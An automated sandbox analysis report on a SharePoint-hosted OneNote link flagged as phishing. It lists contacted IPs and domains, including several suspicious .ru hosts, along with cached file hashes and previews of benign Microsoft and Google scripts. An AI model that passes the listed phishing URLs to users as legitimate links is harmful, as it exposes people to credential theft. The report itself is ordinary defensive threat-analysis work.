https://www.onenote.com/officeaddins/meetings?ui=nl-NL&temporaryLocalization=true	chromecache_242.2.dr	false		high
https://www.onenote.com/officeaddins/meetings?ui=uk-UA&temporaryLocalization=true	chromecache_242.2.dr	false		high
https://www.onenote.com/officeaddins/meetings?ui=uz-Latn-UZ&temporaryLocalization=true	chromecache_242.2.dr	false		high
https://www.onenote.com/officeaddins/meetings?ui=be-BY&temporaryLocalization=true	chromecache_242.2.dr	false		high
https://www.onenote.com/officeaddins/meetings?ui=km-KH&temporaryLocalization=true	chromecache_242.2.dr	false		high
https://support.office.com/article/7afcb4f3-4aa2-443a-9b08-125a5d692576	chromecache_289.2.dr	false		high
https://www.onenote.com/officeaddins/meetings?ui=ta-IN&temporaryLocalization=true	chromecache_242.2.dr	false		high
https://support.office.com/article/ec43ed03-eb3c-4a10-8d9d-e9e5433c9ed2	chromecache_306.2.dr	false		high
https://www.onenote.com/officeaddins/meetings?ui=gu-IN&temporaryLocalization=true	chromecache_242.2.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
13.107.246.41	part-0013.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
172.67.209.50	fnfi.kewtdz.ru	United States	13335	CLOUDFLARENETUS	false
52.108.9.12	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
13.107.213.41	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
172.67.211.217	unknown	United States	13335	CLOUDFLARENETUS	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
142.250.217.228	unknown	United States	15169	GOOGLEUS	false
104.21.67.35	fdexa.nhol.ru	United States	13335	CLOUDFLARENETUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
172.67.173.130	4odq.cxnev1.ru	United States	13335	CLOUDFLARENETUS	false
13.107.136.10	dual-spo-0005.spo-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
13.107.246.69	part-0041.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
152.195.19.97	sni1gl.wpc.sigmacdn.net	United States	15133	EDGECASTUS	false
104.21.95.100	unknown	United States	13335	CLOUDFLARENETUS	false
172.217.3.68	www.google.com	United States	15169	GOOGLEUS	false
151.101.194.137	code.jquery.com	United States	54113	FASTLYUS	false
52.108.8.12	wac-0003.wac-msedge.net	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
142.250.64.196	unknown	United States	15169	GOOGLEUS	false
172.67.144.70	yo5.6gniu68.ru	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.4

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1432019
Start date and time:	2024-04-26 09:58:14 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 12s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	https://usigroups-my.sharepoint.com/:o:/p/js/Es3HdUJZlbVJngCJE-Z7JCYBUTZvd1ZCMQwZhhlQoy_hDw?e=mT2aQm
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	9
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal60.phis.win@24/313@64/20
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Browse: https://4odq.cxnev1.ru/1L9z9v39/ Browse: https://4odq.cxnev1.ru/1L9z9v39/ Browse: https://4odq.cxnev1.ru/1L9z9v39/

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.217.227, 142.250.64.206, 142.251.107.84, 34.104.35.123, 23.50.113.134, 23.50.113.190, 23.222.78.16, 23.222.78.64, 23.56.5.217, 23.56.5.194, 52.182.143.214, 40.74.98.194, 142.250.189.138, 142.250.64.170, 192.178.50.42, 142.250.217.234, 142.250.64.234, 192.178.50.74, 172.217.165.202, 172.217.2.202, 142.250.217.202, 142.250.217.170, 172.217.3.74, 142.250.64.202, 52.165.165.26, 199.232.210.172, 192.229.211.108, 20.166.126.56, 52.113.194.132, 184.28.75.177, 184.28.75.203, 20.143.38.2, 52.111.230.4, 23.56.179.84, 152.199.4.33, 184.51.210.230, 40.126.29.5, 40.126.29.9, 40.126.29.6, 40.126.29.8, 40.126.29.14, 40.126.29.10, 40.126.29.12, 20.190.157.11, 40.126.29.7, 13.107.6.156, 52.111.229.36, 142.250.217.195, 142.251.35.234, 142.250.64.138, 142.250.64.227, 142.250.217.163, 172.217.165.195, 142.250.64.195, 23.193.106.20, 23.193.106.21, 172.217.3.67, 172.217.15.202, 192.178.50.67
Excluded domains from analysis (whitelisted): e2682.g.akamaiedge.net, usc-onenote.officeapps.live.com, aijscdn2.afd.azureedge.net, slscr.update.microsoft.com, clientservices.googleapis.com, res-1.cdn.office.net, browser.events.data.trafficmanager.net, appsforoffice.microsoft.com.edgekey.net, augloop-prod-pa01.eastus2.cloudapp.azure.com, cdn.onenote.net.edgekey.net, 193306-ipv4v6w.farm.dprodmgd105.sharepointonline.com.akadns.net, clients2.google.com, prod-campaignaggregator.omexexternallfb.office.net.akadns.net, ocsp.digicert.com, star-azurefd-prod.trafficmanager.net, login.live.com, update.googleapis.com, www.gstatic.com, ecs.office.com, fs.microsoft.com, wise.public.cdn.office.net, content-autofill.googleapis.com, www.tm.v4.a.prd.aadg.akadns.net, reverseproxy.onenote.trafficmanager.net, portal-office365-com.b-0004.b-msedge.net, cdn-office.ec.azureedge.net, s-0005-office.config.skype.com, edgedl.me.gvt1.com, res-prod.trafficmanager.net, nel.measure.office.net.edgesuite.net, owamail.public.cdn.office.net.edgek
HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtSetInformationFile calls found.

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 82 x 258, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	6140
Entropy (8bit):	7.86318803852975
Encrypted:	false
SSDEEP:	96:JCXCuvaxrUZXtOVVLMtSqdyZ7x5rY4gby5cR+YBaB7W+Nf9XF5Qfhl4/t5K:MMr7AtaZ7fY4f5I/qRf9V6hSl5K
MD5:	2443F04DFD8CE58264835F7CD477799C
SHA1:	E798EF676A42AA8F723246C95FA6A918010223B2
SHA-256:	77DD1463FE34BE51528C6535C5AAF5590EE90BBD3B76AE8E362657C45E9F90FD
SHA-512:	2668E7EEFF653ECDEF04058FDC43328A80F297EE601839737F35A860737DAD438B03298C1A452E83DAED31DDDA540F7F065FE8F22FB05FC150A9FEAB08FFC91D
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...R.........m......tEXtSoftware.Adobe ImageReadyq.e<...fiTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c061 64.140949, 2010/12/07-10:57:01 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:C714FB70438BE1119DF2F8ED1CCAF400" xmpMM:DocumentID="xmp.did:98155F5CD83911E1ACDEFDB8BE9BCEAA" xmpMM:InstanceID="xmp.iid:98155F5BD83911E1ACDEFDB8BE9BCEAA" xmp:CreatorTool="Adobe Photoshop CS5.1 Windows"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:09F73A8D39D8E111AE39EC2BD256A3F2" stRef:documentID="xmp.did:C714FB70438BE1119DF2F8ED1CCAF400"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>Y.[...,IDATx..........{....a.... .<c......3.....

Chrome Cache Entry: 194

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (17673)
Category:	downloaded
Size (bytes):	18268
Entropy (8bit):	5.619856960314813
Encrypted:	false
SSDEEP:	384:Va/VuX6x1E4rZ5gIcAGn5o86/TZeIeaedo/939zg:Ukqxe4rZ5gIcAGnQ/tEaeE9C
MD5:	9FBB8606566EBF96C502666BFFFD254A
SHA1:	FEB80CB296B30432EC659D7EEDFE3C6022A450E2
SHA-256:	9644D7AB8F581B9FDE8F5C3B9B84FD370FF52F1D4E71DD60B5E590A6C7D5FD39
SHA-512:	7C9C38D0710B52EE4761EEAC4E50BB8F5E319C5AFA49253888D0F45B42DB03DE244181AF62A0BC0431D0AB963AB04A5FD2263907CE0B1188BCB1F6954622204C
Malicious:	false
Reputation:	low
URL:	https://www.google.com/js/bg/lkTXq49YG5_ej1w7m4T9Nw_1Lx1Ocd1gteWQpsfV_Tk.js
Preview:	/* Anti-spam. Want to say hello? Contact (base64) Ym90Z3VhcmQtY29udGFjdEBnb29nbGUuY29t / (function(){var f=function(R,N){if(!(N=(R=e.trustedTypes,null),R)\|\|!R.createPolicy)return N;try{N=R.createPolicy("bg",{createHTML:p,createScript:p,createScriptURL:p})}catch(P){e.console&&e.console.error(P.message)}return N},p=function(R){return R},e=this\|\|self;(0,eval)(function(R,N){return(N=f())&&1===R.eval(N.createScript("1"))?function(P){return N.createScript(P)}:function(P){return""+P}}(e)(Array(7824Math.random()\|0).join("\n")+['(function(){/',.'',.' SPDX-License-Identifier: Apache-2.0',.'/',.'var Re=function(R,N){return R[N]<<24\|R[(N\|0)+1]<<16\|R[(N\|0)+2]<<8\|R[(N\|0)+3]},d=function(R,N,p){if(438==R\|\|331==R)N.X[R]?N.X[R].concat(p):N.X[R]=N_(p,N);else{if(N.ri&&247!=R)return;466==R\|\|163==R\|\|161==R\|\|301==R\|\|172==R\|\|120==R\|\|59==R\|\|298==R\|\|344==R?N.X[R]\|\|(N.X[R]=PR(N,p,R,142)):N.X[R]=PR(N,p,R,49)}247==R&&(N.h=q(false,32,N),N.R=void 0)},eZ=function(R,N,p,e){W((e=V((p=V(R),R)),e),R,z(N,Z(p,R)))},sH=

Chrome Cache Entry: 195

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 222 x 204, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	6336
Entropy (8bit):	7.887073484659419
Encrypted:	false
SSDEEP:	192:wx46x27I7L8lRcTx3HCHBDA3B6VHj6V+Jcj:Ktv8lROx34ZA3B6VH+kO
MD5:	5D71229F6CA9EBFF5F7972F01B547C7C
SHA1:	4D71B33506E6F0EBA1C783DE37E36480F2E392BE
SHA-256:	ABC0FA95B72F082CF4FBB18267CDBD282F2909B65B1B479D7F339DB41769946E
SHA-512:	31915EB859D432D714CAA2DFF74B7E760DFFE3A672CD872EB8CF07EDDC3B544578640C315CD47802B34F4BF06B31D290C9CBEAB228BC1FA64BDAF36DC523273A
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/officeonline/o/s/161760141008_resources/1033/m2/box42.png
Preview:	.PNG........IHDR..............y.'....IDATx^.....y.....)...5..MT....6./..f.m,@......W.A...o&..$.Q."7............ 0k.VdI..VL.`...w.k\|;...u....=.sf.~....s.9g/w..9.<.93..".H$]]..ttt......7g.ys.0}zg..3u....E.$C...G....\|'N...jk.f.....i..X0....X8....C....^;v..:..:.a.m....rz.x<..c..q..>..S...t.s....<...o..Cw.y......<x...*....6e........3.._..9H.f..}.._......m.F.#.Wd...(.J........\|yB....\|...+."O+.B.=..^.6-cK...\|./.t..m .f._...F.E.oum\..>.7l..l.<.f..[.H.mZFiC...-_..#....[.d..{........Z.~dd.......t.../`S.^.z...........-....Gm...n....m..2...#n!%..Ci.j..t....7..M...........8t.......^..h..d..]a.....K....L.....x6\|6xM.s.M.../.]...=..........<4..l.......e......>J1.....D.;w.\|..fY...x........m....W.+...9.Q>S.l..J.U.f0..._Z..Y....._s.O..!.2....u&..zo.z.-..>S..p....... .....x=u..2.M.jGb..G9.V.<;d."x@...@.......c.f.p......5....ZQ..8].<^.)c..f(.W....[...^.....gCW&.$i...I.&x.0.~8..!.x.t../>.c..:.(..cN..]XD..-...gk{.gCW9....<.'.l.... ..v.........<.....).

Chrome Cache Entry: 196

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	149717
Entropy (8bit):	5.369688331788786
Encrypted:	false
SSDEEP:	3072:qCfYxNSf2mB5iDTITCeeTCTpuzoZ2GIEmQw+IiwqHNwNcC/uOa:ffYxA2YcTgwGFgeIN8
MD5:	B92461E4C6C0FEA3B1EFB707BA8CC50A
SHA1:	D69CA6991D45E6918848390546CD59B4F16AEBFA
SHA-256:	744D26DE22582D0CDF8C93B7C5D0891A1139EA45BBFB8741268069543CC27C25
SHA-512:	A456EB1AAB80D2634D274264ADFA0D23F608435FB2330F5B1EACD91688C00F039AF18333B2ED5C0AEEEF7AF3B9A937925CED350E0791B72A7FB1E79662015E92
Malicious:	false
Reputation:	low
URL:	https://wise.public.cdn.office.net/wise/owl/onenote-boot.54b073a3a339f2b9cd42.js
Preview:	var Microsoft="object"==typeof Microsoft?Microsoft:{};Microsoft.Office=Microsoft.Office\|\|{},Microsoft.Office.OneNote=function(e){var t={};function n(i){if(t[i])return t[i].exports;var o=t[i]={i:i,l:!1,exports:{}};return e[i].call(o.exports,o,o.exports,n),o.l=!0,o.exports}return n.m=e,n.c=t,n.d=function(e,t,i){n.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:i})},n.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},n.t=function(e,t){if(1&t&&(e=n(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var i=Object.create(null);if(n.r(i),Object.defineProperty(i,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var o in e)n.d(i,o,function(t){return e[t]}.bind(null,o));return i},n.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return n.d(t,"a",t),t},n.o=function(e,t){return Object.prototype.hasOwnPro

Chrome Cache Entry: 197

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (8349), with no line terminators
Category:	downloaded
Size (bytes):	8349
Entropy (8bit):	4.918748777440663
Encrypted:	false
SSDEEP:	96:dcwKI3zZc4ys873If7kx3HPcYaV2klI70JbieVPhHaAtZI88f+L+17XN8GdpF/wd:6ZI3zmjtaMkhi1lGJKchGq
MD5:	9B5C3884AD659041338CBAA6C6963067
SHA1:	EB444FEB6D39FE4FE8F7467224B5226C1AE7897A
SHA-256:	2C2E1D816427D46C0C1A61C568F42292D37CB938AA823AC05E8D0E18EEE1B338
SHA-512:	78F6F1E58DA78C56952CB078F28738CE52E2FC56518115E30968605615C6837A15267B092D5360A35BB15243E94E129F9BD9711667B77E7204294613AA9BF641
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/officeonline/o/s/161760141008_App_Scripts/1033/onenote-navpane-strings.min.js
Preview:	var OnenoteNavpaneStringsEnum,OnenoteNavpaneStringsArray,OnenoteNavpaneStrings={AddPage:"Add page",AriaAddPage:"Add page",AddSection:"Add section",AriaAddSection:"Add section",AriaCollapseNotebookLabel:"Select to go back to the section and page navigation.",AriaPageLabel:"Page. Select to open page contents.",AriaSelectedPageLabel:"Page. Selected. Press Ctrl + F6 to navigate to page contents.",AriaSectionLabel:"Section. Select to switch to this section.",AriaSelectedSectionLabel:"Section. Selected. Press Ctrl + F6 to navigate to page list of the section.",AriaSectionGroupLabel:"Section Group. Select to expand and display inner sections.",AriaVersionLabel:"Version. Select to open version contents.",AriaSelectedVersionLabel:"Version. Selected. Press Ctrl + F6 to navigate to version contents.",AriaConflictLabel:"Conflict. Select to open conflict page contents.",AriaSelectedConflictLabel:"Conflict. Selected. Press Ctrl + F6 to navigate to conflict page contents.",AriaNotebookLabel:"Notebook

Chrome Cache Entry: 198

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (11364), with no line terminators
Category:	downloaded
Size (bytes):	11364
Entropy (8bit):	5.436411707297624
Encrypted:	false
SSDEEP:	192:MFiF3e+1RPmTJ8LGpmP3juC1BjnLSjx8K25hJdCZhbhobcm/+fhpl02pkL17C/Ks:eiF3e+1Zy+LdLWx8XJdCZhlo4mWfDlRD
MD5:	3FFB6F7BCB5D97539033695C6EB54F73
SHA1:	9F3F1933BB7F8281E06CEDDEF82FDB3F8656FAC0
SHA-256:	3AD38710317D90FEDC0796219528E9FAA667D1DEC2C81079D67F2A6FF0F43A03
SHA-512:	1DEB50AB6A227F8CCF5FCA8D0F91CBC699B03F5584BF870A88528BEBE0A44ABC4E499C1FA0B9F61A92922E10F3EB3A503BDA2F157C21BB26EBF9357B18A63CFE
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/officeonline/o/s/161760141008_App_Scripts/suiteux-shell/js/suiteux.shell.consappdata.js
Preview:	var shellPerformance=window.performance,HighResolutionTimingSupported=!!shellPerformance&&"function"==typeof shellPerformance.mark;HighResolutionTimingSupported&&shellPerformance.mark("shell_consappdata_start"),(self["suiteux_shell_webpackJsonp_suiteux-bootstrapper"]=self["suiteux_shell_webpackJsonp_suiteux-bootstrapper"]\|\|[]).push([["consappdata"],{9924:function(e,o,t){t.r(o),t.d(o,{loadConsumerAppData:function(){return _}});var l=t(1011);const n="auth=1";function s(e,o,t,l,s,r){const i=encodeURIComponent(o),a=s?encodeURIComponent(s):"",h=s?"login_hint="+a:void 0,m="https://www.microsoft365.com",u="https://outlook.com";let p=h?u+"?"+h:u;const f="https://outlook.live.com/calendar/";let d=h?f+"?"+h:f;const S="https://onedrive.live.com";let g=h?S+"?"+h:S;const w=m+"/launch/word?"+["username="+i,n].join("&");let C=h?w+"&"+h:w;const _=m+"/launch/excel?"+["username="+i,n].join("&");let O=h?_+"&"+h:_;const P=m+"/launch/powerpoint?"+["username="+i,n].join("&");let y=h?P+"&"+h:P;let E="https:/

Chrome Cache Entry: 199

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (29822)
Category:	downloaded
Size (bytes):	383273
Entropy (8bit):	4.836397490221171
Encrypted:	false
SSDEEP:	3072:ps7J1FkJ1F/YDP3VeftWqldpPkTGzHx1AHLRobPRGe+Wqddp4sXfsXJsGC7ag/2v:CV1FJVJGDZxg0Gfbje
MD5:	57A624C6D2503951996514B03C52E88E
SHA1:	5DA0241C2FF7AE28FA4B2FA5D72A5783F0EF3073
SHA-256:	1D8003C112164B52A832117F0655880ED7FFA451F346392B5CB6272959FF1034
SHA-512:	A76922D1C0C37E905640D8DFBD8E17FD091DC4F19E7164EFC45106D22A0AC243E14F302EF0C08CD120FA8F21D9DE1B031A1B0FC9581C10C45B4319715DE0D6D3
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/officeonline/o/s/161760141008_App_Scripts/1033/onenote-ribbon-intl.min.js
Preview:	var OnenoteRibbonStringsEnum,OnenoteRibbonStringsArray,OnenoteRibbonStrings={About:"About",AboutKeytip:"D",Accessibility:"Accessibility",AddInsKeytipPrefix:"Y",AdditionalControls:"Additional Controls",AlignLeft:"Align Left",AlignLeftKeytip:"AL",AlignRight:"Align Right",AlignRightKeytip:"AR",AltText:"Alt Text",AltTextKeytip:"E",AltTextTableStandalone:"Edit Table Alt Text",AudioTabTitle:"Record & Playback",AutoCorrectOptions:"AutoCorrect Options...",AutoCorrectOptionsKeytip:"AC",Automatic:"Automatic",AutomaticKeytip:"A",Back15Seconds:"Back 15 Seconds",Back15SecondsKeytip:"B",Bold:"Bold",BoldKeytip:"1",BrowseVersions:"Page Versions",BrowseVersionsKeytip:"V",BulletLibraryTitle:"Bullet Library",BulletStyle1:"Solid",BulletStyle1Keytip:"S",BulletStyle2:"Hollow",BulletStyle2Keytip:"H",BulletStyle3:"Square",BulletStyle3Keytip:"B",ButtonOfficeAddins:"Office Add-ins",CentimeterUnitPlaceholder:"{0} cm",Checklist:"Checklist",ChecklistKeytip:"CL",BulletedList:"Bulleted list",BulletedListKeytip:"BL",

Chrome Cache Entry: 200

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1208
Entropy (8bit):	5.4647615085670616
Encrypted:	false
SSDEEP:	24:hM0mIAvy4WvsqFOa7JZRGNeHX+AYcvP2wk1USdYF9Yk5:lmIAq1UqFOiJZ+eHX+AdP2wyYFOk5
MD5:	D29FA9F2AB3A72F2608E8E82C8C3D1C6
SHA1:	8B21CC06752837B4B6B8FEF8D54F50EB2C7CCA8F
SHA-256:	E1B0A10649C4B92F828523EFC2EBE135EA9488179A2816888D1E84F786202DBF
SHA-512:	824A207E3F5AF4934B7B50FE5E3F8585FAECA571C3C39E510C06DC8FBDF3E64B07811CAAE06239936BDDDDFA4C90E534F03C0DA8147AF9294042DEA6B0FBCB94
Malicious:	false
Reputation:	low
Preview:	<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">..<html xmlns="http://www.w3.org/1999/xhtml">..<head>..<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/>..<title>500 - Internal server error.</title>..<style type="text/css">.. ..body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}..fieldset{padding:0 15px 10px 15px;} ..h1{font-size:2.4em;margin:0;color:#FFF;}..h2{font-size:1.7em;margin:0;color:#CC0000;} ..h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;} ..#header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;..background-color:#555555;}..#content{margin:0 0 0 2%;position:relative;}...content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}..-->..</style>..</head>..<body>..<div id="header"><h1>Server Error</h1></div>..<div id="content">.. <div class="content-

Chrome Cache Entry: 201

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	511934
Entropy (8bit):	4.390127024465993
Encrypted:	false
SSDEEP:	6144:kR4D+Nfr+F5b0IrwKc2byoWzJtdtUNabyoWzAC5RTMu:dD+Nfr6
MD5:	3C1E783F0DFE1A945B2122BCD2742E3D
SHA1:	E96DD43FFCC36189F40C03A0F1E445E6BB6264B9
SHA-256:	40437521ADBCD3146C3F602B43F94BC9020A1EB84559A7C9844070AA35AE557A
SHA-512:	8D29EC0C4807909AA24B125C711EF226DE663BE8646B493D19745354876680F8A61E3B4D1A0B9893BF6929FD05E32FFA4BE569909F5BC23748D48151E3B4107F
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/officeonline/o/s/161760141008_App_Scripts/1033/onenote-ribbon-sprite-lazy.min.js
Preview:	window.onenoteRibbonSpriteLazy={icons:[{type:"svg",id:"newdocument_20",children:[{type:"path",className:"OfficeIconColors_HighContrast",d:"M 1741 614 v 1332 h -1434 v -1844 h 922 m 0 512 h 367 l -367 -373 m 409 476 h -512 v -512 h -716 v 1638 h 1228 z"},{type:"path",className:"OfficeIconColors_m20",d:"M 1685 1903 h -1320 v -1735 h 868 l 452 451 z"},{type:"path",className:"OfficeIconColors_m22",d:"M 1741 614 v 1332 h -1434 v -1844 h 922 m 0 512 h 367 l -367 -373 m 409 476 h -512 v -512 h -716 v 1638 h 1228 z"}],viewBox:"0,0,2048,2048"},{type:"svg",id:"SectionTab_20",children:[{type:"path",className:"OfficeIconColors_HighContrast",d:"M 1229 307 v -205 h 102 v 1844 h -102 v -205 h -615 v -1434 z"},{type:"path",className:"OfficeIconColors_DynamicColor",d:"M 1229 307 v -205 h 102 v 1844 h -102 v -205 h -615 v -1434 z"}],viewBox:"0,0,2048,2048"},{type:"svg",id:"Table_20",children:[{type:"path",className:"OfficeIconColors_HighContrast",d:"M 102 102 h 1844 v 1844 h -1844 m 103 -1741 v 205 h 16

Chrome Cache Entry: 202

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (631)
Category:	downloaded
Size (bytes):	517649
Entropy (8bit):	5.713376874006511
Encrypted:	false
SSDEEP:	6144:m1K1Z7NMxjW6eJoWvAlUjWwuMSYCVvLk8DSWd1Ps8Jz38iZc:m6eWTAujfuPY0JGgkt
MD5:	E2E79D6B927169D9E0E57E3BAECC0993
SHA1:	1299473950B2999BA0B7F39BD5E4A60EAFD1819D
SHA-256:	231336ED913A5EBD4445B85486E053CAF2B81CAB91318241375F3F7A245B6C6B
SHA-512:	D6A2ED7B19E54D1447EE9BBC684AF7101B48086945A938A5F9B6AE74ACE30B9A98CA83D3183814DD3CC40F251AB6433DC7F8B425F313EA9557B83E1C2E035DFF
Malicious:	false
Reputation:	low
URL:	https://www.gstatic.com/recaptcha/releases/V6_85qpc2Xf2sbe3xTnRte7m/recaptcha__en.js
Preview:	(function(){/.. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0././. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0././.. SPDX-License-Identifier: Apache-2.0././.. Copyright 2005, 2007 Bob Ippolito. All Rights Reserved.. Copyright The Closure Library Authors.. SPDX-License-Identifier: MIT././*.. Apache License. Version 2.0, January 2004. https://www.apache.org/licenses/.. TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION.. 1. Definitions... "License" shall mean the terms and conditions for use, reproduction,. and distribution as defined by Sections 1 through 9 of this document... "Licensor" shall mean the copyright owner or entity authorized by. the copyright owner that is granting the License... "Legal Entity" shall mean the union of the acting entity and all. other entities that contro

Chrome Cache Entry: 203

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	99914B932BD37A50B983C5E7C90AE93B
SHA1:	BF21A9E8FBC5A3846FB05B4FA0859E0917B2202F
SHA-256:	44136FA355B3678A1146AD16F7E8649E94FB4FC21FE77E8310C060F61CAAFF8A
SHA-512:	27C74670ADB75075FAD058D5CEAF7B20C4E7786C83BAE8A32F626F9782AF34C9A33C2046EF60FD2A7878D378E29FEC851806BBD9A67878F3A9F1CDA4830763FD
Malicious:	false
Reputation:	low
URL:	https://ecs.office.com/config/v1/CHILL/0.0.12?disableexperiments=true&disablerollouts=false&Agent=ChillWAC&Platform=Web&Host=SharePoint%20Online&Audience=Production&TenantId=9f5ae5e0-f468-44c2-8baa-e6e7bc36c710&Application=OneNote&version=16.0.17601.41008&language=en-US
Preview:	{}

Chrome Cache Entry: 204

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	3290
Entropy (8bit):	5.898748036338932
Encrypted:	false
SSDEEP:	96:V0AoSFRPoZ1ZPj1OJzRgyavlB19E6Vdeaaq+:V0AjRPoTB1OJu3/DE6Oaaq+
MD5:	3C0AE3B9979DB202738E0770070FB088
SHA1:	FDDCF60FA6FB3011A24839EBC7CA058E9B4912E1
SHA-256:	1F53EA5D2A4A115B8C0A407686E59BF9FFDB8145AC6036D1E5581F3BF6390C48
SHA-512:	804BB27293ED747BD74BE707BDC643B952E9C7E67BAE8908C2737D54074E14BE2BD79C98A1A45002CD9E5E457EA7D299FCFE87146C4EAD48460CEE9C2C49273C
Malicious:	false
Reputation:	low
URL:	https://wise-m.public.cdn.office.net/wise-m/owl/5mttl/msit/100/manifest.json
